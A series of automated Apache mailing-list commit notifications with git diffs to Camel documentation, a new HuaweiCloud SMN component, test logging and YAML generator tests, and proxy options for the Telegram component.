[camel] branch WillemJiang-patch-1 updated (d515d4b22e5 -> ec4178b4a56)

2022-11-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch WillemJiang-patch-1
in repository https://gitbox.apache.org/repos/asf/camel.git


from d515d4b22e5 Fix the camel project export dir option typo
 add ec4178b4a56 Update the camel export  to use --directory option

No new revisions were added by this update.

Summary of changes:
 docs/user-manual/modules/ROOT/pages/camel-jbang.adoc | 14 +++---
 1 file changed, 7 insertions(+), 7 deletions(-)



[camel] branch WillemJiang-patch-1 created (now d515d4b22e5)

2022-11-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch WillemJiang-patch-1
in repository https://gitbox.apache.org/repos/asf/camel.git


  at d515d4b22e5 Fix the camel project export dir option typo

This branch includes the following new commits:

 new d515d4b22e5 Fix the camel project export dir option typo

The 1 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.




[camel] 01/01: Fix the camel project export dir option typo

2022-11-28 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch WillemJiang-patch-1
in repository https://gitbox.apache.org/repos/asf/camel.git

commit d515d4b22e5108726e751506544cb5e37500a8d9
Author: Willem Jiang 
AuthorDate: Tue Nov 29 11:27:02 2022 +0800

Fix the camel project export dir option typo
---
 docs/user-manual/modules/ROOT/pages/camel-jbang.adoc | 8 
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/docs/user-manual/modules/ROOT/pages/camel-jbang.adoc 
b/docs/user-manual/modules/ROOT/pages/camel-jbang.adoc
index 16dace4c5e7..643179f4519 100644
--- a/docs/user-manual/modules/ROOT/pages/camel-jbang.adoc
+++ b/docs/user-manual/modules/ROOT/pages/camel-jbang.adoc
@@ -1512,7 +1512,7 @@ To export to another directly (copies the files) you 
execute:
 
 [source,bash]
 
-camel export --runtime=camel-main --gav=com.foo:acme:1.0-SNAPSHOT 
--dir=../myproject
+camel export --runtime=camel-main --gav=com.foo:acme:1.0-SNAPSHOT 
-dir=../myproject
 
 
 TIP: See the possible options by running: `camel export --help` for more 
details.
@@ -1524,7 +1524,7 @@ specify the `--build-tool=gradle` when exporting, such as:
 
 [source,bash]
 
-camel export --build-tool=gradle --runtime=spring-boot 
--gav=com.foo:acme:1.0-SNAPSHOT --dir=../myproject
+camel export --build-tool=gradle --runtime=spring-boot 
--gav=com.foo:acme:1.0-SNAPSHOT -dir=../myproject
 
 
 === Exporting with JMX management included
@@ -1534,7 +1534,7 @@ To include JMX, you need to add `camel:management` in the 
`--deps` option, as sh
 
 [source,bash]
 
-camel export --runtime=quarkus --gav=com.foo:acme:1.0-SNAPSHOT 
--deps=camel:management --dir=../myproject
+camel export --runtime=quarkus --gav=com.foo:acme:1.0-SNAPSHOT 
--deps=camel:management -dir=../myproject
 
 
 === Exporting with Camel CLI included
@@ -1544,7 +1544,7 @@ To be able to continue to use Camel CLI (i.e. `camel`), 
you need to add `camel:c
 
 [source,bash]
 
-camel export --runtime=quarkus --gav=com.foo:acme:1.0-SNAPSHOT 
--deps=camel:cli-connector --dir=../myproject
+camel export --runtime=quarkus --gav=com.foo:acme:1.0-SNAPSHOT 
--deps=camel:cli-connector -dir=../myproject
 
 
 === Configuring exporting



[camel] branch master updated: [CAMEL-16001] Camel component for HuaweiCloud Simple Notification Services (SMN) se… (#4900)

2021-01-27 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new eac293a  [CAMEL-16001] Camel component for HuaweiCloud Simple 
Notification Services (SMN) se… (#4900)
eac293a is described below

commit eac293ae4e8f5472f4aea0d29994d6e65aa2fde0
Author: Reji Mathews 
AuthorDate: Wed Jan 27 19:38:37 2021 -0500

[CAMEL-16001] Camel component for HuaweiCloud Simple Notification Services 
(SMN) se… (#4900)

* Camel component for HuaweiCloud Simple Notification Services (SMN) 
services

SMN is one among the Cloud product offering within HuaweiCloud ecosystem 
which enables cloud application users to broadcast/send out notifications to 
subscribers. It provides a single unified endpoint aka. topic for the 
application to push data.

Multiple subscribers can be associated with a given topic. Simple Message 
Notification (SMN) enables you to broadcast messages to subscribers who can 
chose to receive the notifications via an email addresses, phone numbers, 
serverless functions and HTTP/HTTPS servers and connect cloud services through 
notifications, reducing system complexity and developmental efforts to the 
publishing app.

* CAMEL-16001 Fixing typos in documentation

* CAMEL-16001 updating doc with unique identifiers returned by smn server 
once api request is processed. these are mapped to exchange properties

* CAMEL-16001 - adding license headers to all test java classes

* CAMEL-16001 - updated code for SMN endpoint resolver

* CAMEL-16001 removed redundant member simpleNotificationEndpoint since its 
already part of superclass

* CAMEL-16001 Moving all exchange properties to SmnProperties constants 
class

* CAMEL-16001 remove lazy initialization of SmnClient

* CAMEL-16001 - Replacing wiremocks and Mockito with SmnClientMock to stub 
the SmnClient method.

Replacing wiremocks and Mockito with SmnClientMock to stub the SmnClient 
method.

* CAMEL-16001 - Updating logging level

* CAMEL-16001 : removed unused dependencies/imports

* CAMEL-16001 adding ASF licenses / final immutable to constants and 
smnclient init to overriden doStart()

adding ASF licenses / final immutable to constants and smnclient init to 
overriden doStart()

* CAMEL-16001 - removing unit tests for models

* CAMEL-16001 - adding Apache license headers

Co-authored-by: Reji Mathews 84131876 
---
 components/camel-huaweicloud-smn/pom.xml   | 117 +++
 .../src/main/docs/hwcloud-component.adoc   | 148 +
 .../smn/SimpleNotificationComponent.java   |  32 ++
 .../smn/SimpleNotificationEndpoint.java| 239 +
 .../smn/SimpleNotificationProducer.java| 368 +
 .../huaweicloud/smn/SimpleNotificationUtils.java   |  61 
 .../huaweicloud/smn/constants/SmnConstants.java|  25 ++
 .../huaweicloud/smn/constants/SmnOperations.java   |  26 ++
 .../huaweicloud/smn/constants/SmnProperties.java   |  19 ++
 .../huaweicloud/smn/constants/SmnServices.java |  25 ++
 .../smn/models/ClientConfigurations.java   | 138 
 .../huaweicloud/smn/models/ServiceKeys.java|  59 
 .../org/apache/camel/component/hwcloud-smn |   1 +
 .../smn/PublishTemplatedMessageTest.java   |  86 +
 .../huaweicloud/smn/PublishTextMessageTest.java|  78 +
 .../component/huaweicloud/smn/SmnClientMock.java   |  36 ++
 .../huaweicloud/smn/TestConfiguration.java |  66 
 .../smn/constants/SmnConstantsTest.java|  27 ++
 .../smn/constants/SmnOperationsTest.java   |  28 ++
 .../smn/constants/SmnPropertiesTest.java   |  33 ++
 .../huaweicloud/smn/constants/SmnServicesTest.java |  27 ++
 .../src/test/resources/log4j2.properties   |  22 ++
 .../test/resources/testconfiguration.properties|  22 ++
 23 files changed, 1683 insertions(+)

diff --git a/components/camel-huaweicloud-smn/pom.xml 
b/components/camel-huaweicloud-smn/pom.xml
new file mode 100644
index 000..c860fb5
--- /dev/null
+++ b/components/camel-huaweicloud-smn/pom.xml
@@ -0,0 +1,117 @@
+
+
+http://maven.apache.org/POM/4.0.0; 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance; 
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
http://maven.apache.org/maven-v4_0_0.xsd;>
+
+  4.0.0
+
+  org.apache.camel
+  camel-huaweicloud-smn
+  jar
+  3.8.0-SNAPSHOT
+
+  Huawei Cloud SimpleNotification Component
+
+  
+UTF-8
+UTF-8
+  
+
+  
+
+  
+  
+org.apache.camel
+camel-bom
+3.8.0-SNAPSHOT
+import
+pom
+  
+
+  
+
+  
+
+
+
+  org.apache.camel
+  camel-support
+
+
+
+  com.fasterxml.jackson.core
+

[camel-quarkus] branch issue-234 deleted (was bcfe5d6)

2019-10-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch issue-234
in repository https://gitbox.apache.org/repos/asf/camel-quarkus.git.


 was bcfe5d6  #234 Added log when starting or stoping ActiveMQ Broker failed

This change permanently discards the following revisions:

 discard bcfe5d6  #234 Added log when starting or stoping ActiveMQ Broker failed



[camel-quarkus] 01/01: #234 Added log when starting or stoping ActiveMQ Broker failed

2019-10-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch issue-234
in repository https://gitbox.apache.org/repos/asf/camel-quarkus.git

commit bcfe5d65825353e03648db7f0d70d39bb37b6ede
Author: Willem Jiang 
AuthorDate: Mon Oct 7 16:47:54 2019 +0800

#234 Added log when starting or stoping ActiveMQ Broker failed
---
 .../camel/quarkus/component/paho/it/ActiveMQTestResource.java | 8 ++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git 
a/integration-tests/paho/src/test/java/org/apache/camel/quarkus/component/paho/it/ActiveMQTestResource.java
 
b/integration-tests/paho/src/test/java/org/apache/camel/quarkus/component/paho/it/ActiveMQTestResource.java
index 7c1a6a8..e656ad5 100644
--- 
a/integration-tests/paho/src/test/java/org/apache/camel/quarkus/component/paho/it/ActiveMQTestResource.java
+++ 
b/integration-tests/paho/src/test/java/org/apache/camel/quarkus/component/paho/it/ActiveMQTestResource.java
@@ -24,10 +24,14 @@ import java.util.Map;
 import io.quarkus.test.common.QuarkusTestResourceLifecycleManager;
 import org.apache.activemq.broker.BrokerService;
 import org.apache.activemq.broker.TransportConnector;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 public class ActiveMQTestResource implements 
QuarkusTestResourceLifecycleManager {
+private final static Logger LOGGER = 
LoggerFactory.getLogger(ActiveMQTestResource.class);
 private BrokerService broker;
 
+
 @Override
 public Map start() {
 try {
@@ -38,7 +42,7 @@ public class ActiveMQTestResource implements 
QuarkusTestResourceLifecycleManager
 broker.setDataDirectory("target");
 broker.start();
 } catch (Exception e) {
-
+LOGGER.error("Starting the ActiveMQ broker with exception.", e);
 }
 return Collections.emptyMap();
 }
@@ -50,7 +54,7 @@ public class ActiveMQTestResource implements 
QuarkusTestResourceLifecycleManager
 broker.stop();
 }
 } catch (Exception e) {
-
+LOGGER.error("Stopping the ActiveMQ broker with exception.", e);
 }
 }
 }



[camel-quarkus] branch issue-234 created (now bcfe5d6)

2019-10-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch issue-234
in repository https://gitbox.apache.org/repos/asf/camel-quarkus.git.


  at bcfe5d6  #234 Added log when starting or stoping ActiveMQ Broker failed

This branch includes the following new commits:

 new bcfe5d6  #234 Added log when starting or stoping ActiveMQ Broker failed

The 1 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.




[camel-k-runtime] 02/02: Fix some findings

2019-09-30 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel-k-runtime.git

commit 02574168bf2c329ce885d6c327dfc65b10808752
Author: lburgazzoli 
AuthorDate: Sat Sep 28 13:51:37 2019 +0200

Fix some findings
---
 .../.gitignore |  1 -
 .../processors/GenerateYamlSupportClassesTest.java | 47 --
 2 files changed, 26 insertions(+), 22 deletions(-)

diff --git a/examples/camel-k-runtime-example-quarkus-knative/.gitignore 
b/examples/camel-k-runtime-example-quarkus-knative/.gitignore
deleted file mode 100644
index 8b13789..000
--- a/examples/camel-k-runtime-example-quarkus-knative/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git 
a/tooling/camel-k-maven-plugin/src/test/java/org/apache/camel/k/tooling/maven/processors/GenerateYamlSupportClassesTest.java
 
b/tooling/camel-k-maven-plugin/src/test/java/org/apache/camel/k/tooling/maven/processors/GenerateYamlSupportClassesTest.java
index 0689d1d..27784f1 100644
--- 
a/tooling/camel-k-maven-plugin/src/test/java/org/apache/camel/k/tooling/maven/processors/GenerateYamlSupportClassesTest.java
+++ 
b/tooling/camel-k-maven-plugin/src/test/java/org/apache/camel/k/tooling/maven/processors/GenerateYamlSupportClassesTest.java
@@ -16,36 +16,41 @@
  */
 package org.apache.camel.k.tooling.maven.processors;
 
-import java.io.IOException;
-
 import com.squareup.javapoet.JavaFile;
+import com.squareup.javapoet.TypeSpec;
 import org.apache.camel.k.tooling.maven.GenerateYamlSupportClasses;
-import org.junit.jupiter.api.Disabled;
 import org.junit.jupiter.api.Test;
 
+import static org.assertj.core.api.Assertions.assertThat;
+
 public class GenerateYamlSupportClassesTest {
-@Disabled
 @Test
-public void testGenerateHasDataFormat() throws IOException {
-JavaFile.builder("org.apache.camel.k.loader.yaml.parser", new 
GenerateYamlSupportClasses().generateHasDataFormat())
-.indent("")
-.build()
-.writeTo(System.out);
+public void testGenerateHasDataFormat() {
+final TypeSpec spec = new 
GenerateYamlSupportClasses().generateHasDataFormat();
+final JavaFile file = 
JavaFile.builder("org.apache.camel.k.loader.yaml.parser", spec).build();
+
+
assertThat(file.packageName).isEqualTo("org.apache.camel.k.loader.yaml.parser");
+assertThat(spec.name).isEqualTo("HasDataFormat");
+assertThat(spec.methodSpecs).isNotEmpty();
 }
-@Disabled
+
 @Test
-public void testGenerateHasExpression() throws IOException {
-JavaFile.builder("org.apache.camel.k.loader.yaml.parser", new 
GenerateYamlSupportClasses().generateHasExpression())
-.indent("")
-.build()
-.writeTo(System.out);
+public void testGenerateHasExpression() {
+final TypeSpec spec = new 
GenerateYamlSupportClasses().generateHasExpression();
+final JavaFile file = 
JavaFile.builder("org.apache.camel.k.loader.yaml.parser", spec).build();
+
+
assertThat(file.packageName).isEqualTo("org.apache.camel.k.loader.yaml.parser");
+assertThat(spec.name).isEqualTo("HasExpression");
+assertThat(spec.methodSpecs).isNotEmpty();
 }
-@Disabled
+
 @Test
-public void testGenerateJacksonModule() throws IOException {
-JavaFile.builder("org.apache.camel.k.loader.yaml.parser", new 
GenerateYamlSupportClasses().generateJacksonModule())
-.indent("")
-.build()
-.writeTo(System.out);
+public void testGenerateJacksonModule() {
+final TypeSpec spec = new 
GenerateYamlSupportClasses().generateJacksonModule();
+final JavaFile file = 
JavaFile.builder("org.apache.camel.k.loader.yaml", spec).build();
+
+
assertThat(file.packageName).isEqualTo("org.apache.camel.k.loader.yaml");
+assertThat(spec.name).isEqualTo("YamlModule");
+assertThat(spec.methodSpecs).isNotEmpty();
 }
 }



[camel-k-runtime] branch master updated (9b48fcf -> 0257416)

2019-09-30 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel-k-runtime.git.


from 9b48fcf  Merge pull request #142 from lburgazzoli/github-141
 new 6390d17  add support for quarkus #57
 new 0257416  Fix some findings

The 2 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .gitignore |   1 +
 camel-k-loader-groovy/pom.xml  |  12 +
 .../k/loader/groovy/GroovyRoutesLoader.groovy  |   4 +-
 .../groovy/dsl/ComponentConfiguration.groovy   |  18 +-
 .../apache/camel/k/loader/groovy/LoaderTest.groovy |   6 +-
 camel-k-loader-java/pom.xml|  18 ++
 .../camel/k/loader/java/JavaClassRoutesLoader.java |   2 +-
 .../k/loader/java/JavaSourceRoutesLoader.java  |   3 +-
 .../camel/k/loader/java/RoutesLoaderTest.java  |   9 +-
 camel-k-loader-js/pom.xml  |  18 ++
 .../camel/k/loader/js/JavaScriptRoutesLoader.java  |   3 +-
 .../camel/k/loader/js/dsl/ProcessorSupport.java|   2 +-
 .../apache/camel/k/loader/js/RoutesLoaderTest.java |   3 +-
 .../knative/KnativeSourceRoutesLoaderTest.java |   5 +-
 camel-k-loader-kotlin/pom.xml  |  12 +
 .../camel/k/loader/kotlin/KotlinRoutesLoader.kt|   3 +-
 .../org/apache/camel/k/loader/kotlin/LoaderTest.kt |   6 +-
 camel-k-loader-xml/pom.xml |  17 ++
 .../apache/camel/k/loader/xml/XmlRoutesLoader.java |   5 +-
 .../camel/k/loader/xml/RoutesLoaderTest.java   |   3 +-
 camel-k-loader-yaml/pom.xml|  72 +
 .../java/org/apache/camel/k/loader/yaml/Yaml.java  |  90 ---
 .../camel/k/loader/yaml/YamlRoutesLoader.java  |  43 ++-
 .../camel/k/loader/yaml/model/Definitions.java |  97 ---
 .../org/apache/camel/k/loader/yaml/model/Step.java |   7 +-
 .../k/loader/yaml/parser/ChoiceStepParser.java |   8 +-
 .../k/loader/yaml/parser/ClaimCheckStepParser.java |   2 +
 .../loader/yaml/parser/ConvertBodyStepParser.java  |   2 +
 .../k/loader/yaml/parser/DelayStepParser.java  |  17 +-
 .../yaml/parser/DynamicRouterStepParser.java   |  17 +-
 .../k/loader/yaml/parser/FilterStepParser.java |  14 +-
 .../camel/k/loader/yaml/parser/FromStepParser.java |   6 +-
 .../camel/k/loader/yaml/parser/HasDataFormat.java  |  56 
 .../camel/k/loader/yaml/parser/HasExpression.java  |  55 
 .../camel/k/loader/yaml/parser/LogStepParser.java  |   2 +
 .../k/loader/yaml/parser/MarshalStepParser.java|  17 +-
 .../k/loader/yaml/parser/PipelineStepParser.java   |   4 +-
 .../k/loader/yaml/parser/ProcessStepParser.java|   2 +
 .../loader/yaml/parser/RemoveHeaderStepParser.java |  11 +-
 .../yaml/parser/RemoveHeadersStepParser.java   |   3 +-
 .../yaml/parser/RemovePropertiesStepParser.java|   2 +
 .../yaml/parser/RemovePropertyStepParser.java  |  11 +-
 .../camel/k/loader/yaml/parser/RestStepParser.java |   4 +-
 .../k/loader/yaml/parser/RouteStepParser.java  |   6 +-
 .../k/loader/yaml/parser/SetBodyStepParser.java|  17 +-
 .../k/loader/yaml/parser/SetHeaderStepParser.java  |  17 +-
 .../loader/yaml/parser/SetPropertyStepParser.java  |  17 +-
 .../k/loader/yaml/parser/SplitStepParser.java  |  14 +-
 .../camel/k/loader/yaml/parser/StepParser.java |  17 +-
 .../k/loader/yaml/parser/StepParserException.java  |   1 +
 .../k/loader/yaml/parser/StepParserSupport.java|  36 ---
 .../k/loader/yaml/parser/ToDynamicStepParser.java  |   5 +-
 .../camel/k/loader/yaml/parser/ToStepParser.java   |  10 +-
 .../k/loader/yaml/parser/TransformStepParser.java  |  17 +-
 .../k/loader/yaml/parser/UnmarshalStepParser.java  |  17 +-
 .../yaml/support/ProcessorDefinitionMixIn.java |  43 +++
 .../services/org/apache/camel/k/loader/yaml|  18 --
 .../org/apache/camel/k/loader/yaml-parser/choice   |  18 --
 .../apache/camel/k/loader/yaml-parser/claim-check  |  18 --
 .../apache/camel/k/loader/yaml-parser/convert-body |  18 --
 .../org/apache/camel/k/loader/yaml-parser/delay|  18 --
 .../camel/k/loader/yaml-parser/dynamic-router  |  18 --
 .../org/apache/camel/k/loader/yaml-parser/endpoint |  18 --
 .../org/apache/camel/k/loader/yaml-parser/filter   |  18 --
 .../org/apache/camel/k/loader/yaml-parser/from |  18 --
 .../org/apache/camel/k/loader/yaml-parser/log  |  18 --
 .../org/apache/camel/k/loader/yaml-parser/marshal  |  18 --
 .../org/apache/camel/k/loader/yaml-parser/pipeline |  18 --
 .../org/apache/camel/k/loader/yaml-parser/process  |  18 --
 .../camel/k/loader/yaml-parser/remove-header   |  18 --
 .../camel/k/loader/yaml-parser/remove-headers  |  18 --
 .../camel/k/loader/yaml-parser/remov

[camel] branch master updated: CAMEL-13605 Support setup proxy host and port on Telegram.

2019-06-04 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 2331a41  CAMEL-13605 Support setup proxy host and port on Telegram.
2331a41 is described below

commit 2331a41fc7628b123762c57b92940913782033da
Author: Willem Jiang 
AuthorDate: Mon Jun 3 20:07:01 2019 +0800

CAMEL-13605 Support setup proxy host and port on Telegram.
---
 .../src/main/docs/telegram-component.adoc  | 18 +---
 .../component/telegram/TelegramConfiguration.java  | 25 +-
 .../camel/component/telegram/TelegramEndpoint.java | 10 -
 .../camel/component/telegram/TelegramService.java  |  2 ++
 .../service/TelegramServiceRestBotAPIAdapter.java  | 13 +--
 .../telegram/TelegramConfigurationTest.java|  4 +++-
 6 files changed, 59 insertions(+), 13 deletions(-)

diff --git a/components/camel-telegram/src/main/docs/telegram-component.adoc 
b/components/camel-telegram/src/main/docs/telegram-component.adoc
index 13939b0..4439707 100644
--- a/components/camel-telegram/src/main/docs/telegram-component.adoc
+++ b/components/camel-telegram/src/main/docs/telegram-component.adoc
@@ -79,12 +79,14 @@ with the following path and query parameters:
 |===
 
 
- Query Parameters (23 parameters):
+ Query Parameters (25 parameters):
 
 
 [width="100%",cols="2,5,^1,2",options="header"]
 |===
 | Name | Description | Default | Type
+| *proxyHost* (common) | The proxyHost which could be used when sending out 
the message. |  | String
+| *proxyPort* (common) | The proxyPort which could be used when sending out 
the message. |  | Integer
 | *bridgeErrorHandler* (consumer) | Allows for bridging the consumer to the 
Camel routing Error Handler, which mean any exceptions occurred while the 
consumer is trying to pickup incoming messages, or the likes, will now be 
processed as a message and handled by the routing Error Handler. By default the 
consumer will use the org.apache.camel.spi.ExceptionHandler to deal with 
exceptions, that will be logged at WARN or ERROR level and ignored. | false | 
boolean
 | *limit* (consumer) | Limit on the number of updates that can be received in 
a single polling request. | 100 | Integer
 | *sendEmptyMessageWhenIdle* (consumer) | If the polling consumer did not poll 
any files, you can enable this option to send an empty message (no body) 
instead. | false | boolean
@@ -358,16 +360,16 @@ 
from("telegram:bots/123456789:insertYourAuthorizationTokenHere")
 
 OutgoingTextMessage msg = new OutgoingTextMessage();
 msg.setText("Choose one option!");
-
+
 InlineKeyboardButton buttonOptionOneI = InlineKeyboardButton.builder()
 .text("Option One - I").build();
-
+
 InlineKeyboardButton buttonOptionOneII = InlineKeyboardButton.builder()
 .text("Option One - II").build();
-
+
 InlineKeyboardButton buttonOptionTwoI = InlineKeyboardButton.builder()
 .text("Option Two - I").build();
-
+
 ReplyKeyboardMarkup replyMarkup = ReplyKeyboardMarkup.builder()
 .keyboard()
 .addRow(Arrays.asList(buttonOptionOneI, buttonOptionOneII))
@@ -375,7 +377,7 @@ 
from("telegram:bots/123456789:insertYourAuthorizationTokenHere")
 .close()
 .oneTimeKeyboard(true)
 .build();
-
+
 msg.setReplyKeyboardMarkup(replyMarkup);
 
 exchange.getIn().setBody(msg);
@@ -392,11 +394,11 @@ 
from("telegram:bots/123456789:insertYourAuthorizationTokenHere")
 
 OutgoingTextMessage msg = new OutgoingTextMessage();
 msg.setText("Your answer was accepted!");
-
+
 ReplyKeyboardMarkup replyMarkup = ReplyKeyboardMarkup.builder()
 .removeKeyboard(true)
 .build();
-
+
 msg.setReplyKeyboardMarkup(replyMarkup);
 
 exchange.getIn().setBody(msg);
diff --git 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
index aafc73f..52f94dd 100644
--- 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
+++ 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
@@ -37,6 +37,12 @@ public class TelegramConfiguration {
 @Metadata(required = true)
 private String authorizationToken;
 
+@UriParam(description = "The proxyHost which could be used when sending 
out the message.")
+private String proxyHost;
+
+@UriParam(description = "Th

[camel] branch camel-2.x updated: CAMEL-13605 Support setup proxy host and port on Telegram.

2019-06-04 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.x by this push:
 new 7058333  CAMEL-13605 Support setup proxy host and port on Telegram.
7058333 is described below

commit 7058333018644b56f424fb33fbc74d512c283ade
Author: Willem Jiang 
AuthorDate: Mon Jun 3 20:07:01 2019 +0800

CAMEL-13605 Support setup proxy host and port on Telegram.
---
 .../src/main/docs/telegram-component.adoc  |  4 +++-
 .../component/telegram/TelegramConfiguration.java  | 25 +-
 .../camel/component/telegram/TelegramEndpoint.java |  9 
 .../camel/component/telegram/TelegramService.java  |  3 ++-
 .../service/TelegramServiceRestBotAPIAdapter.java  | 13 +--
 .../telegram/TelegramConfigurationTest.java|  4 +++-
 6 files changed, 52 insertions(+), 6 deletions(-)

diff --git a/components/camel-telegram/src/main/docs/telegram-component.adoc 
b/components/camel-telegram/src/main/docs/telegram-component.adoc
index 83a4461..270d13d 100644
--- a/components/camel-telegram/src/main/docs/telegram-component.adoc
+++ b/components/camel-telegram/src/main/docs/telegram-component.adoc
@@ -78,12 +78,14 @@ with the following path and query parameters:
 |===
 
 
- Query Parameters (22 parameters):
+ Query Parameters (24 parameters):
 
 
 [width="100%",cols="2,5,^1,2",options="header"]
 |===
 | Name | Description | Default | Type
+| *proxyHost* (common) | The proxyHost which could be used when sending out 
the message. |  | String
+| *proxyPort* (common) | The proxyPort which could be used when sending out 
the message. |  | Integer
 | *bridgeErrorHandler* (consumer) | Allows for bridging the consumer to the 
Camel routing Error Handler, which mean any exceptions occurred while the 
consumer is trying to pickup incoming messages, or the likes, will now be 
processed as a message and handled by the routing Error Handler. By default the 
consumer will use the org.apache.camel.spi.ExceptionHandler to deal with 
exceptions, that will be logged at WARN or ERROR level and ignored. | false | 
boolean
 | *limit* (consumer) | Limit on the number of updates that can be received in 
a single polling request. | 100 | Integer
 | *sendEmptyMessageWhenIdle* (consumer) | If the polling consumer did not poll 
any files, you can enable this option to send an empty message (no body) 
instead. | false | boolean
diff --git 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
index 6e52fd4..98d309c 100644
--- 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
+++ 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramConfiguration.java
@@ -37,6 +37,12 @@ public class TelegramConfiguration {
 @Metadata(required = "true")
 private String authorizationToken;
 
+@UriParam(description = "The proxyHost which could be used when sending 
out the message.")
+private String proxyHost;
+
+@UriParam(description = "The proxyPort which could be used when sending 
out the message.")
+private Integer proxyPort;
+
 @UriParam(description = "The identifier of the chat that will receive the 
produced messages. Chat ids can be first obtained from incoming messages "
 + "(eg. when a telegram user starts a conversation with a bot, its 
client sends automatically a '/start' message containing the chat id). "
 + "It is an optional parameter, as the chat id can be set 
dynamically for each outgoing message (using body or headers).", label = 
"producer")
@@ -98,7 +104,24 @@ public class TelegramConfiguration {
 this.authorizationToken = authorizationToken;
 }
 
-public String getChatId() {
+public String getProxyHost() {
+  return proxyHost;
+}
+
+public void setProxyHost(String proxyHost) {
+  this.proxyHost = proxyHost;
+}
+
+public Integer getProxyPort() {
+  return proxyPort;
+}
+
+public void setProxyPort(Integer proxyPort) {
+  this.proxyPort = proxyPort;
+}
+
+
+  public String getChatId() {
 return chatId;
 }
 
diff --git 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramEndpoint.java
 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramEndpoint.java
index d901acf..1765392 100644
--- 
a/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/TelegramEndpoint.java
+++ 
b/components/camel-telegram/src/main/java/org/apache/camel/component/telegram/Telegr

[camel] branch master updated: Added source code into using-propertyplaceholder.adoc

2019-03-26 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 7c882e0  Added source code into using-propertyplaceholder.adoc
7c882e0 is described below

commit 7c882e0bc938308f9f79753f422bc3305722d249
Author: Willem Jiang 
AuthorDate: Wed Mar 27 09:27:52 2019 +0800

Added source code into using-propertyplaceholder.adoc
---
 .../ROOT/pages/using-propertyplaceholder.adoc  | 199 +++--
 1 file changed, 189 insertions(+), 10 deletions(-)

diff --git a/docs/user-manual/modules/ROOT/pages/using-propertyplaceholder.adoc 
b/docs/user-manual/modules/ROOT/pages/using-propertyplaceholder.adoc
index 6dc99a9..5741588 100644
--- a/docs/user-manual/modules/ROOT/pages/using-propertyplaceholder.adoc
+++ b/docs/user-manual/modules/ROOT/pages/using-propertyplaceholder.adoc
@@ -651,7 +651,31 @@ Each location is separated by comma.
 When using Blueprint property placeholder in the Blueprint XML file, you
 can declare the properties directly in the XML file as shown below:
 
-include::../../../components/camel-test-blueprint/src/test/resources/org/apache/camel/test/blueprint/configadmin-outside.xml[]
+[source,xml]
+
+
+
+  
+
+
+  
+
+
+
+
+  
+
+
+http://camel.apache.org/schema/blueprint;>
+
+  
+
+
+
+  
+
+
+---
 
 Notice that we have a `` which refers to one of the properties. And in
 the Camel route we refer to the other using the `{{ }}` notation.
@@ -659,7 +683,16 @@ the Camel route we refer to the other using the `{{ }}` 
notation.
 Now if you want to override these Blueprint properties from an unit
 test, you can do this as shown below:
 
-include::../../../components/camel-test-blueprint/src/test/java/org/apache/camel/test/blueprint/ConfigAdminOverridePropertiesOutsideCamelContextTest.java[]
+[source,java]
+
+protected String useOverridePropertiesWithConfigAdmin(Dictionary props) {
+// add the properties we want to override
+props.put("greeting", "Bye");
+
+// return the PID of the config-admin we are using in the blueprint xml 
file
+return "my-placeholders";
+}
+
 
 To do this we override and implement the
 `useOverridePropertiesWithConfigAdmin` method. We can then put the
@@ -683,14 +716,47 @@ For example in the blueprint XML file we have the
 `persistence-id="stuff"`, which mean it will load the configuration
 file as `etc/stuff.cfg`.
 
-include::../../../components/camel-test-blueprint/src/test/resources/org/apache/camel/test/blueprint/configadmin-loadfile.xml[]
+[source,xml]
+
